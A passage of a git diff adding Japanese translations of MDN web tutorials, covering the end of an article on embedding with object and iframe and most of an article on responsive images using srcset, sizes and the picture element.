をページに埋め込む <code><object></code> の例を見てみましょう(<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html">ライブ</a>のサンプルと<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html">ソースコード</a>を参照)。</p> + +<pre class="brush: html notranslate"><object data="mypdf.pdf" type="application/pdf" + width="800" height="1200" typemustmatch> + <p>PDF プラグインはありませんが、 + <a href="mypdf.pdf">PDF ファイルをダウンロードできます。 + </a> + </p> +</object></pre> + +<p>PDF は紙とデジタルの間の必要な足がかりでしたが、多くの<a href="http://webaim.org/techniques/acrobat/acrobat">アクセシビリティ上の課題</a>(英語)があり、小さな画面では読みにくい場合があります。それらはまだいくつかのサークルで人気がある傾向がありますが、ウェブページに埋め込むのではなく、ダウンロードしたり、別のページで読むことができるように、リンクする方がはるかに優れています。</p> + +<h3 id="The_case_against_plugins" name="The_case_against_plugins">プラグインに対するケース</h3> + +<p>かつて、プラグインはウェブ上で不可欠でした。映画をオンラインで見るために Adobe Flash Player をインストールしなければならない時代を覚えていますか? そして、常に Flash Player と Java Runtime Environment のアップデートに関する迷惑な警告を受けていました。ウェブ技術はこれまでより堅牢に成長し、その時代は終わりを告げています。ほとんどのアプリケーションでは、プラグインに依存するコンテンツの配信をやめ、代わりにウェブテクノロジを活用し始めてください。</p> + +<ul> + <li><strong>すべての人にあなたの手を広げる</strong>。誰もがブラウザーを持っていますが、プラグインはますます稀になっています(特にモバイルユーザの場合)。ウェブはプラグインなしで大部分が使えるので、プラグインをインストールするよりもむしろ競争相手のウェブサイトに行くだけです。</li> + <li><strong>Flash や他のプラグインに付属している<a href="http://webaim.org/techniques/flash/">余分なアクセシビリティの頭痛</a>(英語)から逃れてください。</strong></li> + <li><strong>さらなるセキュリティ上の危険から逃れてください</strong>。無数のパッチの後でさえ、Adobe Flash は<a href="http://www.cvedetails.com/product/6761/Adobe-Flash-Player.html?vendor_id=53">安全ではないことが知られています</a>(英語)。Facebook の最高セキュリティ責任者である Alex Stamos は、2015年に <a href="http://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso">Adobe が Flash を打ち切るよう依頼しました</a>(英語)。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> その固有の問題点と Flash のサポート不足により、 Adobe は2020年末に Flash のサポートを終了すると発表しました。 2020年1月の時点で、ほとんどのブラウザーは既定で Flash コンテンツをブロックしており、2020年12月31日までにはすべてのブラウザーで Flash 機能が完全に削除されます。それ以降は、既存の Flash コンテンツにアクセスできなくなります。</p> +</div> + +<p>だから何をすべきか? 双方向性が必要な場合、HTML と {{glossary("JavaScript")}} は、Java アプレットや旧式の ActiveX/BHO 技術を必要とせずに、簡単に仕事を完了させることができます。Adobe Flash に頼る代わりに、メディアの要求に合わせて <a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">HTML5 動画</a>、ベクターグラフィックスに <a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">SVG</a>、複雑な画像やアニメーションに <a href="/ja/docs/Web/Guide/HTML/Canvas_tutorial">Canvas</a> を使用することができます。<a href="https://plus.google.com/+PeterElst/posts/P5t4pFhptvp">Peter Elst は、数年前にすでに、Adobe Flash が特殊なゲームやビジネスアプリケーションを除いて、仕事のための適切なツールではないことを書いていました</a>(英語)。ActiveX に関しては、Microsoft の {{glossary("Microsoft Edge","Edge")}} ブラウザーでさえサポートされなくなりました。</p> + +<h2 id="Test_your_skills!" name="Test_your_skills!">スキルをテストしよう</h2> + +<p>この記事はここまでですが、最も重要な情報を覚えていますか？先に進む前に、この情報を保持しているかどうかを確認するためのテストをいくつか見つけることができます — <a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/Test_your_skills:_Multimedia_and_embedding">マルチメディアと埋め込みのスキルのテスト</a>を参照してください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>ウェブ文書に他のコンテンツを埋め込むという話題は、すぐに非常に複雑になる可能性があるので、関連する技術のより高度な機能のいくつかを示唆しながらも、すぐに関連すると思われる単純で使い慣れた方法で紹介しようとしました。まず、あなたのページに地図や動画などの第三者のコンテンツを含めること以外に埋め込みを使用する可能性は低いです。しかし、経験が増すにつれて、より多くの用途を見つけることになるでしょう。</p> + +<p>ここで説明したもの以外にも、外部コンテンツの埋め込みを含む他の多くの技術があります。以前の記事では {{htmlelement("video")}}、{{htmlelement("audio")}}、{{htmlelement("img")}} などいくつかを見ましたが、JavaScript で生成された 2D および 3D グラフィックスの場合は {{htmlelement("canvas")}}、ベクターグラフィックスを埋め込む場合は {{SVGElement("svg")}} など、他にも見い出されるものがあります。モジュールの次の記事では <a href="/ja/docs/Web/SVG">SVG</a> を見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML の画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">動画と音声のコンテンツ</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"><object> から <iframe> へ — その他の埋め込み技術</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">ウェブにベクターグラフィックスを追加する</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla のスプラッシュページ</a></li> +</ul> diff --git a/files/ja/learn/html/multimedia_and_embedding/responsive_images/index.html b/files/ja/learn/html/multimedia_and_embedding/responsive_images/index.html new file mode 100644 index 0000000000..80dfff9fc9 --- /dev/null +++ b/files/ja/learn/html/multimedia_and_embedding/responsive_images/index.html @@ -0,0 +1,282 @@ +--- +title: レスポンシブ画像 +slug: Learn/HTML/Multimedia_and_embedding/Responsive_images +tags: + - Article + - Beginner + - CodingScripting + - Design + - Graphics + - Guide + - HTML + - Image + - Intermediate + - img + - picture + - sizes + - srcset + - ガイド + - グラフィックス + - デザイン + - 中級 + - 初心者 + - 画像 + - 記事 +translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<div> +<p class="summary">この記事では、レスポンシブ画像の概念 — 画面サイズ、解像度などの機能が大きく異なる機器で適切に動作する画像 — について学び、 HTML がそれを実装する上でどのような道具を提供しているかを見てみます。 レスポンシブ画像は、レスポンシブウェブデザインの一部にすぎませんが(そしてそれを実現する上で良いステージになりますが)、 <a href="/ja/docs/Learn/CSS">CSS のトピック</a>の将来のモジュールで多くのことを学ぶトピックです。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td><a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML の基本</a>及び<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">ウェブページに静止画を追加する方法</a>をすでに知っているものとします。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>{{htmlattrxref("srcset", "img")}} や {{htmlelement("picture")}} 要素のような機能を使って、ウェブサイトにレスポンシブ画像を実装する方法を学ぶこと。</td> + </tr> + </tbody> +</table> + +<h2 id="Why_responsive_images" name="Why_responsive_images">なぜレスポンシブ画像なのか？</h2> + +<p>では、レスポンシブ画像でどのような問題を解決しようとしているのでしょうか。 典型的なシナリオを見てみましょう。 典型的なウェブサイトには、おそらく訪問者の印象を良くするためのヘッダー画像と、おそらくその下にはコンテンツ画像がいくつかあります。 おそらく、ヘッダー画像はヘッダーの幅全体にまたがるようにして、コンテンツ画像はコンテンツ列のどこかに合わせたいと思うでしょう。この簡単な例を見てみましょう。</p> + +<p><img alt="広い画面で表示されているサイト例 - ここでは最初の画像はよく、中央で細部まで十分に見えます。" src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"></p> + +<p>これは、ラップトップやデスクトップなどの広い画面のデバイスではうまく表示できます(<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">ライブを見て</a>、 Github で<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html">ソースコード</a>を見ることができます)。 以下の点を除けば CSS については詳しく説明しません。</p> + +<ul> + <li>本文のコンテンツは、最大幅 1200 ピクセルに設定されています。 — その幅を超えるビューポートでは、本体は 1200 ピクセルのままで、利用可能な領域の中で中央に配置されます。それよりも狭いビューポートでは、本文はビューポートの幅の 100％ になります。</li> + <li>ヘッダー画像は、ヘッダーの幅がどのような幅であっても、その中心が常にヘッダーの中央に来るように設定されています。 ですから、サイトがより狭い画面で表示されている場合は、画像の中心にある重要なディテール(人物)が常に見え、両端の余分な部分が失われます。高さは 200 ピクセルです。</li> + <li>コンテンツ画像は、 {{HTMLElement("body")}} 要素が画像より狭くなると、画像があふれるのではなく、常に本文内に収まるように縮小し始めるよう設定されています。</li> +</ul> + +<p>これは問題ありませんが狭い画面のデバイスでサイトを表示するときには問題が発生します。 ヘッダーは正しく見えますが、モバイルデバイスの画面の高さ全体のうち多くの部分を占めるようになってきています。 最初のコンテンツ画像はひどく見えにくくなっています。 この寸法では、中の人物がほとんど見えていません。</p> + +<p><img alt="狭い画面で見たサイト例。最初の画像は細部が分かりにくいところまで縮小しています。" src="https://mdn.mozillademos.org/files/12936/non-responsive-narrow.png" style="display: block; height: 793px; margin: 0px auto; width: 320px;"></p> + +<p>改良点は、サイトを狭い画面で見たときに画像の重要なディティールを表示するため、切り取った画像を表示することです。 第2の切り取られた画像は、タブレットのような中幅の画面のデバイス用に表示することができます。 これは一般的に<strong>アートディレクションの問題</strong>として知られています。</p> + +<p>さらに、小さなモバイル画面で見ている場合、このような大きな画像をページに埋め込む必要はありません。 これは<strong>解像度切り替えの問題</strong>と呼ばれています。 ラスター画像は、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">ベクターグラフィックス</a>の所で見たように、幅のピクセルの集まりと、高さのピクセルの集まりです。 小さいラスター画像は、元のサイズよりも大きく表示されていると粒状に見え始めます(ベクターグラフィックスではそうなりません)。</p> + +<p>逆に、意図した大きさよりもはるかに小さい画面に大きな画像を表示する必要はありません。 そうすることで帯域幅を無駄にすることがあります。 特に、モバイルユーザーは、小さな画像がデバイスに表示される時、デスクトップ向けの大きな画像をダウンロードすることによって帯域幅を無駄にしたくありません。 理想的な状況は、複数の解像度が利用可能で、ウェブサイト上のデータにアクセスするデバイスに応じて適切なサイズを提供することです。</p> + +<p>状況をより複雑にしているのが、一部のデバイスは高い解像度の画面を持ち、きれいに表示するには、期待されるよりも大きい画像を必要としていることです。 これは本質的に同じ問題ですが、少し異なる状況のものです。</p> + +<p>ベクター画像はある側面でこれらの問題を解決すると思うかもしれません。 — ファイルサイズが小さくて容易に縮尺変更でき、どこでも利用できるからです。 しかし、すべての種類の画像に適しているわけではありません。 — 単純な図形、パターン、インターフェイス要素などには適していますが、例えば写真のような、ディティールのものをベクターベースの画像で作成すると、とても複雑になります。 JPEG のようなラスター画像形式は、上記の例に見られるような種類の画像により適しています。</p> + +<p>この種の問題は、ウェブが最初に登場したとき、90年代前半から中期の頃には存在しませんでした — ウェブをブラウズする唯一のデバイスはデスクトップとラップトップであったため、ブラウザーの技術者や仕様書の著者は解決策を実装することを考えませんでした。<em> レスポンシブ画像技術</em>は上記のような問題を解決するために最近になって実装され、ブラウザーに様々な画像ファイル、どれも表示するものは同じですが、ピクセル数が異なる様々な画像<em>(解像度の切り替え</em>)、異なる領域の取り方が異なる様々な画像(アートディレクション)を含めることができます。</p> + +<div class="note"> +<p><strong>メモ</strong>: この記事で説明している新機能 — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — は、最近のデスクトップ及びモバイルのブラウザーのすべてが対応しています(Microsoft Edge ブラウザーも含みますが Internet Explorer は含みません)。</p> +</div> + +<h2 id="How_do_you_create_responsive_images" name="How_do_you_create_responsive_images">レスポンシブ画像の作り方</h2> + +<p>この節では、上で説明した二つの問題を踏まえ、 HTML のレスポンシブ機能を使用してそれらを解決する方法を示します。 なお、上記の例のコンテンツエリアに見られるように、この節では HTML の {{htmlelement("img")}} に注目します。 — サイトヘッダーの画像は単なる装飾なので、 CSS 背景画像を使用して実装します。 <a href="http://blog.cloudfour.com/responsive-images-101-part-8-css-images/">CSS はおそらく、 HTML よりもレスポンシブデザインのための優れたツールを持っています</a>(英語)ので、これについては将来 CSS のモジュールで説明します。</p> + +<h3 id="Resolution_switching_Different_sizes" name="Resolution_switching_Different_sizes">解像度の切り替え: 様々な寸法</h3> + +<p>それでは、解像度切り替えで解決したい問題は何でしょうか？ 同じ画像コンテンツを、機器に応じて大きくしたり小さくしたりして表示することです。 — これは、例の中の2番目のコンテンツ画像の状況です。 標準的な {{htmlelement("img")}} 要素は、伝統的にブラウザーにソースファイルを一つだけしか指定できません。</p> + +<pre class="brush: html"><img src="elva-fairy-800w.jpg" alt="妖精の衣装を着たエルバ"></pre> + +<p>しかし、複数の追加のソース画像と、ブラウザーが正しいものを選択する助けになるヒントを提供することができる、新しい2つの属性 — {{htmlattrxref("srcset", "img")}} 及び {{htmlattrxref("sizes", "img")}} — を使用することができます。 この例は、 Github の <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> で見ることができます(<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html">ソースコード</a>も参照してください)。</p> + +<pre class="brush: html"><img srcset="elva-fairy-320w.jpg 320w, + elva-fairy-480w.jpg 480w, + elva-fairy-800w.jpg 800w" + sizes="(max-width: 320px) 280px, + (max-width: 480px) 440px, + 800px" + src="elva-fairy-800w.jpg" alt="妖精の衣装を着たエルバ"></pre> + +<p><code>srcset</code> 及び <code>sizes</code> 属性は複雑に見えますが、上記のように属性値のそれぞれの部分を別々の行に書けば、理解することは難しくありません。 それぞれの値にはコンマ区切りのリストが設定されており、それぞれのリストの部分は3つの部分からなっています。 それぞれの中身を見てみましょう。</p> + +<p><strong><code>srcset</code></strong> は、ブラウザーが選択することができる画像のセットと、それぞれの画像の寸法を定義します。 それぞれのコンマの前に書くものは以下の通りです。</p> + +<ol> + <li>画像ファイル名(<code>elva-fairy-480w.jpg</code>)</li> + <li>空白</li> + <li>画像の<strong>本質的な幅のピクセル数</strong>(<code>480w</code>) — なお、これは単位に <code>px</code> ではなく <code>w</code> を使用します。 これは画像の実際の寸法で、これはコンピューターの画像ファイルを調べると分かります(例えば Mac では Finder で画像を選択して、 <kbd>Cmd</kbd> + <kbd>I</kbd> を押すと情報画面が出てきます)。</li> +</ol> + +<p><strong><code>sizes</code></strong> は、一連のメディア条件(例えば画面の幅)であり、特定のメディア条件が成立したときに、どの寸法の画像を選択するのが最適化を示します。 — これらは以前に説明したヒントです。 この場合、それぞれのコンマの前には次のようなものを書きます。</p> + +<ol> + <li><strong>メディア条件</strong>(<code>(max-width:480px)</code>) — これについては <a href="/ja/docs/Learn/CSS">CSS の記事</a>で詳しく学びますが、今はメディア条件とは画面がなることができる状態であるとだけ言っておきましょう。 この場合、「ビューポートの幅が 480 ピクセル以下であるとき」と言っています。</li> + <li>空白</li> + <li>メディア条件が成立したときに埋める<strong>スロットの幅</strong>(<code>440px</code>)</li> +</ol> + +<div class="note"> +<p><strong>メモ</strong>: スロットの幅については、絶対的な長さ(<code>px</code>, <code>em</code>)又は相対的な長さ(パーセント値など)で指定することができます。 最後のスロットの幅にはメディア条件がないことに気づいたかもしれません。 — これは成立するメディア条件がない場合に使用される既定値です。 ブラウザーは最初に一致した条件の後はすべて無視しますので、メディア条件の順序に注意してください。</p> +</div> + +<p>したがって、これらの属性を使用すると、ブラウザーは次のようになります。</p> + +<ol> + <li>そのデバイスの幅を見る。</li> + <li><code>sizes</code> リストの中のどのメディア条件が真であるかを確認する。</li> + <li>そのメディア照会で与えられたスロットサイズを見る。</li> + <li>選択したスロットサイズに最も近い <code>srcset</code> リストで参照される画像を読み込みます。</li> +</ol> + +<p>以上です！ この時点で、480px のビューポート幅を持つブラウザーがページを読み込むと、 (<code>max-width: 480px</code>) メディア条件が真となるため、440px スロットが選択されるので、その固有幅(<code>480w</code>)が <code>440px</code> に最も近い <code>elva-fairy-480w.jpg</code> が読み込まれます。 800px の画像は 128KB ですが、480px の画像は 63KB で 65KB の節約になります。 今、これが多くの写真を持っているページだったと想像してみてください。 この技術を使用することで、モバイルユーザーは多くの帯域幅を節約できます。</p> + +<p>これらの機能をサポートしていない古いブラウザーはそれを無視し、 {{htmlattrxref("src", "img")}} 属性で参照されている画像を通常の方法で読み込みます。</p> + +<div class="note"> +<p><strong>メモ</strong>: ドキュメントの {{htmlelement("head")}} には、 <code><meta name="viewport" content="width=device-width"></code> という行があります。 これは、モバイルブラウザーがウェブページを読み込むために実際のビューポート幅を使用するように強制します。 (一部のモバイルブラウザーでは、ビューポート幅について嘘をつき、大きなビューポート幅でページを読み込み、読み込んだページを縮小するため、レスポンシブ画像やデザインにはあまり役に立ちません。 これについては、今後のモジュールで詳しく説明します。)</p> +</div> + +<h3 id="Useful_developer_tools" name="Useful_developer_tools">便利な開発者ツール</h3> + +<p>ブラウザーには、必要なスロット幅などの作業に役立ついくつかの便利な<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">開発者ツール</a>があります。 私がそれらを作業していたとき、私は最初にサンプルの非レスポンシブ版(<code>not-responsive.html</code>)を読み込んでから<a href="/ja/docs/Tools/Responsive_Design_Mode">レスポンシブデザインモード</a>(ツール → ウェブ開発 → レスポンシブデザインモード)に行きました。 まるでさまざまなデバイスの画面サイズで表示されているかのようにウェブページのレイアウトを見ることができます。</p> + +<p>ビューポート幅を 320px から 480px に設定して、それぞれのために私は<a href="/ja/docs/Tools/Page_Inspector">インスペクタ</a>へ行き、私たちが興味を持っている <img> 要素をクリックしてから、画面の右側にある [レイアウト] タブの [ボックスモデル] でそのサイズを調べました。 これはあなたが必要とする固有の画像幅を与えるはずです。</p> + +<p><img alt="インスペクタで強調表示された画像要素を持つfirefox開発者ツールのスクリーンショット。サイズは440 x 293ピクセルです。" src="https://mdn.mozillademos.org/files/12932/box-model-devtools.png" style="display: block; height: 845px; margin: 0px auto; width: 480px;">次に、ビューポート幅を任意に設定して(たとえば、幅を狭く設定する)、ネットワークインスペクタ(ツール → ウェブ開発 → ネットワーク)を開き、ページを再読み込みすることで、<code>srcset</code> が機能しているかどうかを確認できます。 これにより、ウェブページを構成するためにダウンロードされた資産のリストが表示されます。 ここでダウンロード用に選択された画像ファイルを確認できます。</p> + +<div class="note"> +<p><strong>メモ</strong>: Chrome でテストするときは、[その他ツール] → [デベロッパー ツール] → [ネットワーク] タブの [Disable cache (when DevTools is open)] チェックボックスをオンにして、開発者ツールが開いているときにキャッシュを無効にします。 そうしないと、Chrome はキャッシュされた画像をより適切なものより優先します。</p> +</div> + +<p><img alt="firefox開発者ツールのネットワークインスペクタのスクリーンショット。ページのHTMLがダウンロードされていることと、レスポンシブ画像の2つの800ワイドバージョンを含む3つの画像" src="https://mdn.mozillademos.org/files/12934/network-devtools.png" style="display: block; height: 630px; margin: 0px auto; width: 600px;"></p> + +<h3 id="Resolution_switching_Same_size_different_resolutions" name="Resolution_switching_Same_size_different_resolutions">解像度の切り替え: 同じサイズ、異なる解像度</h3> + +<p>複数の画面解像度をサポートしていても、誰もが画面上で同じ実世界サイズで画像を見る場合は、<code>sizes</code> を指定せずに x 記述子を指定した <code>srcset</code> を使用してブラウザーに適切な解像度の画像を選択させることができます — やや簡単な構文です！ これは <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">srcset-resolutions.html</a> のようなものです(<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">ソースコード</a>も参照してください)。<br> + </p> + +<pre class="brush: html"><img srcset="elva-fairy-320w.jpg, + elva-fairy-480w.jpg 1.5x, + elva-fairy-640w.jpg 2x" + src="elva-fairy-640w.jpg" alt="妖精の衣装を着たエルバ"> +</pre> + +<p><img alt="妖精の衣装を着た小さな女の子の絵、古いカメラのフィルム効果が画像に適用される" src="https://mdn.mozillademos.org/files/12942/resolution-example.png" style="display: block; height: 425px; margin: 0px auto; width: 480px;">この例では、次の CSS が画像に適用され、画面上に 320 ピクセルの幅が設定されます(CSS ピクセルとも呼ばれます)。</p> + +<pre class="brush: css">img { + width: 320px; +}</pre> + +<p>この場合、<code>sizes</code> は必要ありません。ブラウザーは、表示されている画面がどの解像度であるかを単純に調べ、<code>srcset</code> で参照される最も適切な画像を提供します。 したがって、ページにアクセスするデバイスが標準解像度や低解像度の画面を持っていて、1つのデバイスピクセルが各 CSS ピクセルを表している場合、<code>elva-fairy-320w.jpg</code> の画像が読み込まれます(1x は暗黙のため、含める必要はありません)。 デバイスが CSS ピクセルあたり2つのデバイスピクセルの高解像度を持つ場合、<code>elva-fairy-640w.jpg</code> の画像が読み込まれます。 640px の画像は 93KB ですが、320px の画像は 39KB です。</p> + +<h3 id="Art_direction" name="Art_direction">アートディレクション</h3> + +<p>要約すると、<strong>アートディレクションの問題</strong>は、表示される画像を異なる画像表示サイズに合うように変更したいことを含みます。 たとえば、デスクトップブラウザーで見たときに中央に人がいる大きな風景をウェブサイトに表示している場合、モバイルブラウザーでウェブサイトを表示すると縮小され、人がとても小さくて見えにくいので格好悪くなります。 モバイルでは、人にズームインしたより小型のポートレイト画像を表示するほうがよいでしょう。 {{htmlelement("picture")}} 要素は、この種の解決法を実装することを可能にします。<br> + <br> + オリジナルの <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">not-responsive.html</a> の例に戻ると、アートディレクションがひどく必要な画像があります。</p> + +<pre class="brush: html"><img src="elva-800w.jpg" alt="クリスは立って彼の娘エルバを保持します"></pre> + +<p>{{htmlelement("picture")}} でこれを修正しましょう！ <a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code><video></code>や<code><audio></code></a>と同様に、<code><picture></code> 要素はラッパーで、ブラウザーが選択できるいくつかの異なるソースを提供するいくつかの {{htmlelement("source")}} 要素を含み、次に極めて重要な {{htmlelement("img")}} 要素が続きます。 <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> のコードは次のようになります。</p> + +<pre class="brush: html"><picture> + <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"> + <source media="(min-width: 800px)" srcset="elva-800w.jpg"> + <img src="elva-800w.jpg" alt="クリスは立って彼の娘エルバを保持します"> +</picture> +</pre> + +<ul> + <li><code><source></code> 要素にはメディア条件が含まれている <code>media</code> 属性が含まれています。 最初の srcset の例のように、これらの条件はどの画像が表示されるかを決定するテストであり、最初に真を返すものが表示されます。 この場合、ビューポート幅が 799 ピクセル幅以下の場合、最初の <code><source></code> 要素の画像が表示されます。 ビューポート幅が 800 ピクセル以上であれば、2番目のものになります。<br> + </li> + <li><code>srcset</code> 属性には、表示する画像へのパスが含まれます。 上記の <code><img> </code>で見たように、<code><source></code> は複数の画像を参照する <code>srcset</code> 属性と <code>sizes</code> 属性をとることができます。 したがって、<code><picture></code> 要素で複数の画像を提供することもできますが、それぞれの画像も複数の解像度で提供することができます。 現実的には、この種のことを非常に頻繁にやりたいとは思わないでしょう。</li> + <li>すべての場合で、<code><img></code> 要素に <code>src</code> と <code>alt</code> を付けて <code></picture></code> の直前に置く必要があります。 そうしないと画像は表示されません。 これはメディア条件のどれも true を返さない場合(この例では2番目の <code><source></code>要素を実際に削除できる)や、<code><picture></code> 要素をサポートしないブラウザーの代替に適用されるデフォルトのケースを提供します。</li> +</ul> + +<p>このコードでは、以下に示すように、広い画面と狭い画面の両方に適切な画像を表示することができます。</p> + +<p><img alt="広い画面で表示された私たちのサンプルサイト - ここでは最初の画像は大丈夫です。中央のディティールを見るのに十分です。" src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"><img alt="最初の画像をポートレートに切り替えるために使用されるpicture要素を使用した狭い画面で表示されたサンプルサイトは、ディティールをクローズアップし、狭い画面でより便利になりました" src="https://mdn.mozillademos.org/files/12938/picture-element-narrow.png" style="display: block; height: 710px; margin: 0px auto; width: 320px;"></p> + +<div class="note"> +<p><strong>メモ</strong>: <code>media</code> 属性は、アートディレクションのシナリオでのみ使用してください。 <code>media</code> を使用する場合は、<code>sizes</code> 属性内でメディア条件も指定しないでください。</p> +</div> + +<h3 id="Why_can't_we_just_do_this_using_CSS_or_JavaScript" name="Why_can't_we_just_do_this_using_CSS_or_JavaScript">なぜ CSS や JavaScript を使ってこれを行うことができないのですか？</h3> + +<p>ブラウザーがページの読み込みを開始すると、メインのパーサーがページの CSS と JavaScript を読み込んで解釈する前に、画像のダウンロード(先読み)を開始します。 これは便利なテクニックで、平均してページ読み込み時間の 20％ を削減します。 しかし、レスポンシブ画像では役に立ちません。 そのため、<code>srcset</code> のような解決法を実装する必要があります。 たとえば、 {{htmlelement("img")}} 要素を読み込んでから JavaScript でビューポートの幅を検出し、必要に応じて元の画像をより小さなものに動的に変更することはできません。 それまでには、元の画像が既に読み込まれていて、さらに小さい画像も読み込むことになります。 これは、レスポンシブ画像の条件ではさらに悪化します。</p> + +<ul> +</ul> + +<h3 id="Use_modern_image_formats_boldly" name="Use_modern_image_formats_boldly">現代の画像フォーマットを大胆に使用する</h3> + +<p>小さなファイルサイズと高品質を同時に維持できる、エキサイティングな新しい画像フォーマット(WebP や PEG-2000 など)がいくつかあります。 しかし、ブラウザーのサポートにはむらがあります。</p> + +<p><code><picture></code> は、古いブラウザーにも対応しています。 MIME タイプを <code>type</code> 属性内に指定すると、ブラウザーはサポートしていないファイルタイプを直ちに拒否できます。</p> + +<pre class="brush: html"><picture> + <source type="image/svg+xml" srcset="pyramid.svg"> + <source type="image/webp" srcset="pyramid.webp"> + <img src="pyramid.png" alt="4つの正三角形から構築された通常のピラミッド"> +</picture> +</pre> + +<ul> + <li>アートディレクションが必要な場合を除き、<code>media</code> 属性を使用しないでください。</li> + <li><code><source></code> 要素では、<code>type</code> で宣言された型の画像のみを参照できます。</li> + <li>前と同じように、必要に応じて、<code>srcset</code> と <code>sizes</code> をカンマで区切ったリストを使用することもできます。</li> +</ul> + +<h2 id="Active_learning_Implementing_your_own_responsive_images" name="Active_learning_Implementing_your_own_responsive_images">能動的学習: あなた自身のレスポンシブ画像の実装</h2> + +<p>この能動的学習では、私たちはあなたが勇敢に(ほとんど)一人で行くことを期待しています。 <code><picture></code> を使って、あなた自身の適切なアートディレクションの狭い画面や広い画面と、<code>srcset</code> を使用する解像度切り替えの例を実装してください。</p> + +<ol> + <li>あなたのコードを格納するためのシンプルな HTML を書く(必要に応じて <code>not-responsive.html</code> を出発点として使用する)</li> + <li>どこかから細かいディテールが入った素晴らしい広い画面のランドスケープ画像を探してきましょう。 グラフィックスエディタを使用してウェブサイズの画像を作成し、それをトリミングしてディテールを拡大した小さな部分を表示し、2番目の画像を作成します(約 480px の幅がこれに適しています)。</li> + <li><code><picture></code> 要素を使用して、アートディレクション画像切り替えを実装します。</li> + <li>サイズの異なる複数の画像ファイルを作成し、それぞれが同じ画像を表示します。</li> + <li><code>srcset</code> や <code>sizes</code> を使用して、異なる解像度で同じサイズの画像を提供するか、異なるビューポートの幅で異なる画像サイズを提供するかのいずれかの解像度切り替えの例を作成します。</li> +</ol> + +<div class="note"> +<p><strong>メモ</strong>: 上記のように、ブラウザーの開発者ツールの助けを借りて、必要なサイズにしてください。</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>それはレスポンシブ画像のラップです — あなたはこれらの新しいテクニックで遊ぶことを楽しんでください。 要約すると、私たちがここで議論してきた2つの明確な問題があります。</p> + +<ul> + <li><strong>アートディレクション</strong>: 異なるレイアウトのためにトリミングされた画像を提供したいという問題 — 例えば、デスクトップレイアウトのフルシーンを示すランドスケープ画像や、モバイルレイアウトのためにズームインした主な被写体を示すポートレート画像などがあります。 これは、 {{htmlelement("picture")}} 要素を使用して解決できます。</li> + <li><strong>解像度切り替え</strong>: デスクトップ画面のような巨大な画像を必要としないため、小さな画像ファイルを狭い画面のデバイスに配信したいという問題 — 必要に応じて異なる解像度の画像を高密度や低密度の画面に表示したい場合もあります。 これは、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">ベクターグラフィックス</a>(SVG 画像)と {{htmlattrxref("srcset", "img")}} と {{htmlattrxref("sizes", "img")}} 属性を使用して解決できます。</li> +</ul> + +<p>これはまた、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding">マルチメディアと埋め込み</a>のモジュール全体を閉じます！ 先に進む前に行うべき唯一のことは、マルチメディアの評価を試み、あなたがどのように乗り出すかを見ることです。 楽しんでください。</p> + +<h2 id="See_also" name="See_also">関連項目</h2> + +<ul> + <li><a 